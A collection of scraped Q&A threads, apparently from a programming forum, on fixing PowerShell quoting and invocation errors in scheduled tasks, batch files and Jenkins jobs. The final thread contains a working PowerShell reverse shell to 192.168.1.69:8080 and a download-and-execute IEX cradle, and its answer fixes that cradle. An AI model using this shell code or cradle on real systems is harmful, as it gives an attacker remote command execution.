PowerShell Error - Scheduled Task - expression expected - powershell

I am setting up scheduled tasks for logging off disconnected sessions. I setup the task with the action of opening PowerShell.exe with the argument shown below
powershell.exe -ExecutionPolicy Bypass -NoProfile -command "Invoke-command -ScriptBlock {quser | Select-String "Disc" | ForEach {logoff ($_.tostring() -split " +")[2]}}"
The argument works by itself in PowerShell but when I try to create this task it fails with the error:
powershell.exe : At line:1 char:89
At line:2 char:1
+ powershell.exe -ExecutionPolicy Bypass -NoProfile -command "Invoke-co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (At line:1 char:89:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ ... {quser | Select-String Disc | ForEach {logoff (((.tostring() -split ...
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ExpectedExpression
I believe that I need to have the expression evaluated for the string to populate correctly and have tried escaping both quotes and parentheses to try to get it to work. Any help would be greatly appreciated.

Your problem are probably the quotes. Mind you have to properly quote and escape your command line arguments. You can use single quotes inside your command for simplicity, or skip them alltogether if not needed. Also, the Invoke-Command is redundant.
Try this:
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "quser | Select-String Disc | foreach {logoff ($_.Line -split ' +')[2]}"

Related

running powershell command from batch fails but works in powershell

Im trying to run:
netsh lan show interfaces | findstr /i "GUID" > test.txt
set /p ethguid=<test.txt
echo %ethguid:~23%> test2.txt
set /p ethguidclean=<test2.txt
echo %ethguidclean%
powershell.exe -Command " Rename-Item "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{%ethguidclean%}" -NewName "11111111-1111-1111-1111-111111111111" "
pause
but i fails with error:
Rename-Item : A positional parameter cannot be found that accepts argument '8b384d18-7877-44ea-9b48-5f634a0ff1f6'.
At line:1 char:2
+ Rename-Item HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Rename-Item], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.RenameItemCommand
and if I run command directly in powershell it works! what am I doing wrong?
Change inside double quotes to single:
powershell.exe -Command " Rename-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{%ethguidclean%}' -NewName '11111111-1111-1111-1111-111111111111' "

Start-Process : A positional parameter cannot be found that accepts argument when using -runAs

I am trying to run a powershell script which will have run only after passing a parameter value as an argument. The script has few commands that run only with elevated access so trying to use -runAs verb like below:
PowerShell.exe -Command "& {Start-Process PowerShell.exe -ArgumentList '-ExecutionPolicy Bypass -File ""%~reset-password-services_logs.ps1 'h5rU!J5L_sitL0Y'""' -Verb RunAs}"
I need to pass the argument 'h5rU!J5L_sitL0Y' with the script in order to successfully execute the process. Error i get is below:
Start-Process : A positional parameter cannot be found that accepts argument
'h5rU!J5L_sitL0Y'.
At line:1 char:4
+ & {Start-Process PowerShell.exe -ArgumentList '-ExecutionPolicy Bypas ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Start-Process], ParameterB
indingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
.Commands.StartProcessCommand

When running a powershell script via Jenkins getting this error : "NativeCommandError" not sure how to use invoke-command

Ignoring an errorlevel != 0 in Windows PowerShell (ISE)
I have read this link but not sure how to run "Invoke-Command" my $ErrorActionPreference is "continue".
This is the error I am getting :
06:06:55 + & powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command '& ''E: ...
06:06:55 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
06:06:55 + CategoryInfo : NotSpecified: (root : 2020-10-...something:String) [], RemoteException
06:06:55 + FullyQualifiedErrorId : NativeCommandError
The $errorActionPreference should be defined inside the scriptblock like:
Invoke-Command {$ErrorActionPreference = 'SilentlyContinue'; REST OF THE CODE}

Escape space and resolve variable in Jenkins powershell script not working

I tried different ways to escape the space in "Program Files" but this is not working. I receive the following error in Jenkins after this part is executed:
powershell.exe : FileStream was asked to open a device that was not a file. For support for devices like 'com1:' or 'lpt1:', call At
C:\web\JenkinsMaster\workspace\XXX#tmp\durable-d3011838\powershellWrapper.ps1:5
char:3
+ & powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Fi ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (FileStream was ... 'lpt1:', call :String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError CreateFile, then use the FileStream constructors that take an OS handle as an IntPtr.
CategoryInfo : OpenError: (:) [Out-File], NotSupportedException
FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
PSComputerName : XXXXX
powershell script: '''
$pass = ConvertTo-SecureString -AsPlainText "XXXX" -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList "XXXX",$pass
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$session = New-PSSession -ComputerName XXXXXXXX -UseSSL -Credential $cred -SessionOption $sessionOption
Copy-Item $env:WORKSPACE\\* -Destination "C:\\data\\install\\" -Filter *TEST* -Recurse -Force -Verbose -ToSession $session
$filename = $env:JOB_NAME + "_" + $env:BUILD_DISPLAY_NAME + "_wwwroot.7z"
Invoke-Command -Session $session -ScriptBlock {cmd /c "C:\\Program Files\\7-Zip\\7z.exe\\" x C:\\Data\\Install\\$filename -oC:\\data\\install\\test -aoa >NUL}
Remove-PSSession $session
Exit-PSSession
'''
If I change the Invoke-Command to the following, the Program Files directory seems to be resolved correctly, but then the variable $filename is not resolved anymore.
Invoke-Command -Session $session -ScriptBlock {cmd /c \'"C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\$filename -oC:\\data\\install\\test -aoa >NUL'}
powershell.exe : NotSpecified: (:String) [], RemoteException At
C:\web\Jenkins\workspace\XXX#tmp\durable-53dbead2\powershellWrapper.ps1:5
char:3
+ & powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Fi ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (NotSpecified: (...RemoteException:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
CategoryInfo : NotSpecified: (:String) [], RemoteException
FullyQualifiedErrorId : NativeCommandError
PSComputerName : XXXXX
ERROR: The system cannot find the file specified.
C:\Data\Install\$filename
System ERROR:
The system cannot find the file specified.
Hopefully you can assist me in this case! The rest of the commands is working fine.
Thanks!
The 7z.exe path in your first command has an extraneous trailing \, which causes problems:
cmd /c "C:\\Program Files\\7-Zip\\7z.exe\\" # <- trailing \\ shouldn't be there
In your 2nd command, you're using single quotes around the command passed to cmd /c ('...'), but the contents of '...' strings in PowerShell are treated as literals, which explains why $fileName was not expanded (interpolated);
only double-quoted ("...") strings and, within limits, unquoted command arguments are expanded in PowerShell; e.g., compare the output from Write-Output '$HOME' to the output from Write-Output "$HOME" / Write-Output $HOME.
As iRon mentions, there's no need to involve cmd at all - PowerShell is perfectly capable of executing command-line programs directly, so this should work:
Invoke-Command -Session $session -ScriptBlock { & "C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\$using:filename -oC:\\data\\install\\test -aoa >$null }
Due to invoking 7z.exe directly, now there's no outer quoting needed anymore, and $fileName should be expanded.
Note, however, that $fileName was replaced with $using:fileName, which is necessary in order for the target session to know about the local $fileName variable - see Get-Help about_Remote_Variables.
Since the 7z.exe file path is quoted (of necessity, due to containing spaces), you must use &, the call operator, to invoke it.
Since the > redirection is now performed by PowerShell itself, the cmd-style >NUL output suppression was replaced with its PowerShell analog, >$null.
I wonder if it necessarily at all to invoke a CMD shell for this.
I guess it would be simpler to directly invoke the 7z.exe with its parameters.
Nevertheless, you can build you own script block like this:
[ScriptBlock]::Create('cmd /c "C:\\Program Files\\7-Zip\\7z.exe" x C:\\Data\\Install\\' + $filename + ' -oC:\\data\\install\\test -aoa >NUL')

PowerShell issue to invoke shell

Im trying to get a shell in my Win10 virtual machine but i get these
errors.
PS C:\Users\Diego Sepu> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.69/r.ps1')
IEX : At line:13 char:39
... s.TCPClient("192.168.1.69\'94,8080)).GetStream();[byte[]]$bt=0..65535 ...
The string is missing the terminator: ".
At line:14 char:2
}
~
Missing closing ')' in expression.
At line:1 char:1
{\rtf1\ansi\ansicpg1252\cocoartf1504\cocoasubrtf820
~
Missing closing '}' in statement block or type definition.
At line:1 char:1
IEX (New-Object Net.WebClient).DownloadString(...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
FullyQualifiedErrorId : TerminatorExpectedAtEndOfString,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Code:
$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream()
[byte[]]$bt=0..65535|%{0}
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
{
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i)
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1))
$sm.Write($st,0,$st.Length)
}
(new-object Net.WebClient).DownloadString("http://192.168.1.69:8080/r.ps1") | iex
Try doing downloadstring first then piping the results into invoke-espression In your original screenshot you aren't invoking the contents of r.ps1 infact you are attempting to invoke the download itself. By piping the results of DownloadStringthe actual contents of r.ps1 will be extecute